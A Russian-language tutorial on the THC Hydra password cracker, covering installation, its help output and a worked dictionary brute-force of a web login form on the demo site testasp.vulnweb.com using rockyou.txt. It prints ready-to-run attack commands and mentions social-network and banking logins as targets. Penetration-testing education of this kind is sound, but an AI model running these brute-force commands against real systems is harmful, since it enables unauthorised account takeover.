Технически пароль определяется как секретная строка символов, используемая для аутентификации или получения доступа к ресурсам. Он должен храниться в тайне и быть скрыт от других лиц, не имеющих права доступа к этим ресурсам. Пароли используются в компьютерах с первых дней появления вычислительной техники. Одна из первых систем разделения времени была представлена в 1961 году. Она имела команду входа в систему, которая запрашивала пароль пользователя. После ввода команды "PASSWORD" система, по возможности, отключает механизм печати, чтобы пользователь мог спокойно набрать свой пароль.
Данный тип тестирования на проникновение должен проводиться исключительно на своих системах, либо у Вас должно быть разрешение владельца системы на проведение данного типа теста!
Стойкость пароля зависит от его длины, сложности и непредсказуемости. Она измеряет эффективность противодействия его угадыванию или взлому. Слабые пароли, с другой стороны, сокращают время, необходимое для их угадывания и получения доступа к личной/корпоративной электронной почте, конфиденциальным данным, таким как финансовая информация, деловая информация, кредитные карты и т.д.
Существует множество способов сделать пароль слабым, соответствующих силе различных схем атак. Наиболее популярной из них является атака методом грубой силы. Это метод проб и ошибок - угадывание, попытка расшифровать зашифрованные данные, такие как пароль или шифр, используемый прикладной программой или "инструментом взлома".
Hydra
Hydra - самый быстрый взломщик сетевых логинов, поддерживающий множество протоколов атаки. Он очень быстр и гибок, а новые модули легко добавляются. Этот инструмент позволяет исследователям и консультантам по безопасности продемонстрировать, как легко можно получить несанкционированный доступ к системе удаленно. Hydra была написана ван Хаузером, а ее дополнительная поддержка осуществляется Дэвидом Мачеяком. В последнем обновлении разработка Hydra перенесена в публичный репозиторий github по адресу: https://github.com/vanhauser-thc/thc-hydra.
Hydra протестирована на компиляцию под Linux, Windows/Cygwin, Solaris 11, FreeBSD 8.1, OpenBSD, OSX, QNX/Blackberry и доступна под GPLv3 со специальным расширением лицензии OpenSSL.
THC Hydra поддерживает такие протоколы: Cisco AAA, Cisco auth, Cisco enable, CVS, FTP, HTTP(S)-FORM-GET, HTTP(S)-FORM-POST, HTTP(S)-GET, HTTP(S)-HEAD, HTTP-Proxy, ICQ, IMAP, IRC, LDAP, MS-SQL, MySQL, NNTP, Oracle Listener, Oracle SID, PC-Anywhere, PC-NFS, POP3, PostgreSQL, RDP, Rexec, Rlogin, Rsh, SIP, SMB(NT), SMTP, SMTP Enum, SNMP v1+v2+v3, SOCKS5, SSH (v1 и v2), SSHKEY, Subversion, Teamspeak (TS2), Telnet, VMware-Auth, VNC и XMPP.
Сравнение hydra с другими средствами взлома
Наряду с hydra существует множество инструментов для взлома логинов, однако ни один из них не поддерживает огромный список протоколов и распараллеленную поддержку взлома логинов, как это делает hydra. В таблицах ниже приведены результаты сравнения возможностей, сервисов и скорости работы с medusa и ncrack.
Особенности
Функция | Hydra | Medusa | Ncrack |
Лицензия | AGPLv3 | GPLv2 | Условия GPLv2 + Nmap |
Поддержка IPv6 | Да | Нет | Нет |
Графический пользовательский интерфейс | Да | Да | Нет |
Поддержка интернационализации (RFC 4013) | Да | Нет | Нет |
Поддержка HTTP-прокси | Да | Да | Нет |
Поддержка SOCKS-прокси | Да | Нет | Нет |
Поддерживаемые протоколы | 51 | 22 | 7 |
Сравнение скоростей
Скорость (в с) | Hydra | Medusa | Ncrack |
1 задача / FTP-модуль | 11.93 | 12.97 | 18.01 |
4 задачи / FTP-модуль | 4.20 | 5.24 | 9.01 |
16 задач / модуль FTP | 2.44 | 2.71 | 12.01 |
1 задача / модуль SSH v2 | 32.56 | 33.84 | 45.02 |
4 задачи / модуль SSH v2 | 10.95 | Broken | Missed |
16 задач / модуль SSH v2 | 5.14 | Broken | Missed |
Это было краткое и простое знакомство с системой Hydra. Теперь перейдем к установке.
Установка Hydra в kali linux
Hydra предустановлена в kali linux, однако если у вас другая операционная система, вы можете скомпилировать и установить ее на свою систему. В настоящее время Hydra поддерживается на различных платформах:
- Все платформы UNIX (Linux, *bsd, Solaris и т.д.)
- MacOS (в основном клон BSD)
- Windows с Cygwin (как IPv4, так и IPv6)
- Мобильные системы на базе Linux, MacOS или QNX (например, Android, iPhone, Blackberry 10, Zaurus, iPaq).
Чтобы загрузить, сконфигурировать, скомпилировать и установить hydra, просто введите в терминале
1 2 3 4 5 | git clone https://github.com/vanhauser-thc/thc-hydra.git cd thc-hydra ./configure make make install |
Если у вас Ubuntu/Debian, то вам понадобятся некоторые библиотеки зависимостей:
1 | apt install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird-dev libncp-dev |
Если вы не нашли эти библиотеки в своем репозитории, то необходимо загрузить и установить их вручную.
Как использовать Hydra
Поздравляем, теперь вам удалось установить hydra на свою систему. На самом деле, Hydra поставляется в двух вариантах: GUI-gtk и моя любимая версия CLI. Кроме того, у Hydra есть версия с управлением CLI, которая называется "hydra-wizard". Вы будете получать пошаговое руководство, вместо того чтобы набирать все команды и аргументы вручную в терминале.
Чтобы запустить hydra, наберите в терминале :
CLI
1 | hydra |
CLI-мастера конфигурации
1 | hydra-wizard |
Графический интерфейс
1 | xhydra |
После ввода 'hydra' на экране появятся команды помощи, как показано ниже:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 | hydra -h Hydra v8.6 (c)2017 by van Hauser/THC & David Maciejak - for legal purposes only Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-SuvV46] [service://server[:PORT][/OPT]] Options: -R restore a previous aborted/crashed session -S perform an SSL connect -s PORT if the service is on a different default port, define it here -l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE -p PASS or -P FILE try password PASS, or load several passwords from FILE -x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help -e nsr try "n" null password, "s" login as pass and/or "r" reversed login -u loop around users, not passwords (effective! implied with -x) -C FILE colon separated "login:pass" format, instead of -L/-P options -M FILE list of servers to be attacked in parallel, one entry per line -o FILE write found login/password pairs to FILE instead of stdout -f / -F exit when a login/pass pair is found (-M: -f per host, -F global) -t TASKS run TASKS number of connects in parallel (per host, default: 16) -w / -W TIME waittime for responses (32s) / between connects per thread -4 / -6 prefer IPv4 (default) or IPv6 addresses -v / -V / -d verbose mode / show login+pass for each attempt / debug mode -U service module usage details server the target server (use either this OR the -M option) service the service to crack (see below for supported protocols) OPT some service modules support additional input (-U for module help) Supported services: asterisk afp cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql ncp nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh s7-300 sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp Hydra is a tool to guess/crack valid login/password pairs - usage only allowed for legal purposes. This tool is licensed under AGPL v3.0. The newest version is always available at http://www.thc.org/thc-hydra These services were not compiled in: sapr3 oracle. Use HYDRA_PROXY_HTTP or HYDRA_PROXY - and if needed HYDRA_PROXY_AUTH - environment for a proxy setup. E.g.: % export HYDRA_PROXY=socks5://127.0.0.1:9150 (or socks4:// or connect://) % export HYDRA_PROXY_HTTP=http://proxy:8080 % export HYDRA_PROXY_AUTH=user:pass Examples: hydra -l user -P passlist.txt ftp://192.168.0.1 hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN hydra -C defaults.txt -6 pop3s://[fe80::2c:31ff:fe12:ac11]:143/TLS:DIGEST-MD5 hydra -l admin -p password ftp://[192.168.0.0/24]/ hydra -L logins.txt -P pws.txt -M targets.txt ssh |
Перебор веб-логинов с помощью Hydra
Hydra поддерживает несколько сервисов брутфорсинга, как я уже упоминал, один из них используется для брутфорсинга веб-логинов, таких как форма входа в социальные сети, форма входа в банковскую систему, логин вашего маршрутизатора и т.д. Это "http[s]-{get|post}-form", который будет обрабатывать данный запрос. В этом руководстве я покажу вам, как перебрать уязвимые веб-логины. Прежде чем запускать hydra, необходимо знать некоторые необходимые аргументы, приведенные ниже:
- Цель : http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F
- Имя пользователя: admin (если вы не уверены, проверьте это перебором)
- Список паролей: "Расположение списка файлов словаря, содержащего возможные пароли".
- Параметры формы: "В общем случае для получения формы параметров запроса следует использовать tamper data или proxy. Но здесь я использую iceweasel, основанный на firefox, network developer toolbar."
Сервисный модуль: http-post-form
Модуль http-post-form требует страницу и параметры для веб-формы. По умолчанию этот модуль настроен на выполнение не более 5 перенаправлений подряд. Он всегда собирает новый cookie с того же URL без переменных Параметры принимают три значения, разделенные ":", плюс необязательные значения. (Примечание: если в строке параметров в качестве значения требуется двоеточие, то его следует экранировать с помощью "\:", но не следует экранировать "\" с помощью "\\\").
Синтаксис:
1 | [url]:[параметры формы]:[строка условия][:(необязательно)[:(необязательно)] |
- Первое - это страница на сервере, на которую нужно выполнить GET или POST (URL).
- Второе - переменные POST/GET (берутся из браузера, прокси-сервера и т.д. с заменой имен пользователей и паролей на "^USER^" и "^PASS^" (FORM PARAMETERS)).
- Третья строка - это строка проверки на *неправильный* вход (по умолчанию) Перед строкой проверки недействительного входа может стоять "F=", перед строкой проверки успешного входа - "S=".
Именно здесь большинство людей ошибаются. Вы должны проверить в webapp, как выглядит строка с неудачным условием, и поместить ее в этот параметр!
Следующие параметры являются необязательными:
C=/page/uri для определения другой страницы для сбора начальных cookies с (h|H)=My-Hdr\: foo для отправки определенного пользователем HTTP-заголовка с каждым запросом ^USER^ и ^PASS^ также могут быть помещены в эти заголовки!
'h' добавит пользовательский заголовок в конец запроса, независимо от того, отправляется он уже Гидрой или нет. 'H' заменит значение этого заголовка, если оно существует, на значение, заданное пользователем, или добавит заголовок в конец.
Обратите внимание, что если вы собираетесь ставить в заголовках двоеточия (:), то их следует экранировать обратным слешем (\). Все двоеточия, не являющиеся разделителями опций, должны быть экранированы (см. примеры выше и ниже). Вы можете указать заголовок без экранирования двоеточий, но в этом случае вы не сможете поместить двоеточия в само значение заголовка, поскольку они будут интерпретированы hydra как разделители опций.
Получение параметров запроса с помощью браузера (iceweasel/firefox)
В браузере Firefox нажмите клавиши 'CTRL + SHIFT + Q'. Затем откройте страницу входа в систему http://testasp.vulnweb.com/Login.asp?RetURL=%2FDefault%2Easp%3F, и вы заметите, что на вкладке "Инструменыты разработчика" появился текст. В нем говорится о том, какие файлы нам передаются. Видим, что все они передаются методом GET, так как мы еще не отправляли никаких данных методом POST.
Чтобы получить параметры пост-формы, введите в форму имя пользователя и пароль. На вкладке "Разработчик сети" вы заметите новый метод POST. Дважды щелкните на этой строке, на вкладке "Заголовки" нажмите кнопку "Изменить и отправить" справа. В теле запроса скопируйте последнюю строку, например "tfUName=asu&tfUPass=raimu". "tfUName" и "tfUPass" - это необходимые нам параметры. Как показано ниже:
В Kali Linux существует множество списков паролей, выберите подходящий или просто воспользуйтесь файлом rockyou.txt, расположенным в каталоге /usr/share/wordlists/, как показано ниже:
Итак, теперь мы получили все необходимые аргументы и готовы запустить hydra. Вот шаблон команды:
1 | hydra -l <имя пользователя> -P <список паролей> <имя целевого хоста> <модуль сервиса> <параметры post-запроса> |
Наконец, на основе собранной информации наши команды должны выглядеть следующим образом:
1 | hydra -l admin -P /usr/share/wordlists/rockyou.txt testasp.vulnweb.com http-post-form "/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout" -vV -f |
Давайте разберем команды:
- l <имя пользователя> : это слово, содержащее имя пользователя, используйте -L <FILE> для обращения к списку возможных имен пользователей в файле.
- P <FILE> : представляет собой список возможных паролей в файле, используйте -p <password> для буквального использования одного слова пароля вместо его угадывания.
testapp.vunlwebapp.com : является именем хоста или целью. - http-post-form : это сервисный модуль, который мы используем
- "/Login.asp?RetURL=%2FDefault%2Easp%3F:tfUName=^USER^&tfUPass=^PASS^:S=logout" = 3 необходимых параметра, синтаксис следующий:
{ URL страницы}:{Параметры формы post body запроса}:S={Найти все, что находится на странице после успешного входа в систему} - v = режим Verbose
- V = показать login:pass для каждой попытки
- f = Завершить работу программы, если найдена пара логин:пароль
Теперь позволим hydra попытаться взломать пароль, на это нужно время, так как это атака по словарю. Как только вам удалось найти пару login:password, hydra немедленно завершит работу и покажет валидный пароль.
Hydra может многое, так как в этом руководстве мы только научились перебирать логины в Интернете с помощью hydra, мы изучили только один протокол - протокол http-post-form. Мы также можем использовать hydra против других протоколов, таких как ssh, ftp, telnet, VNC, proxy и т.д.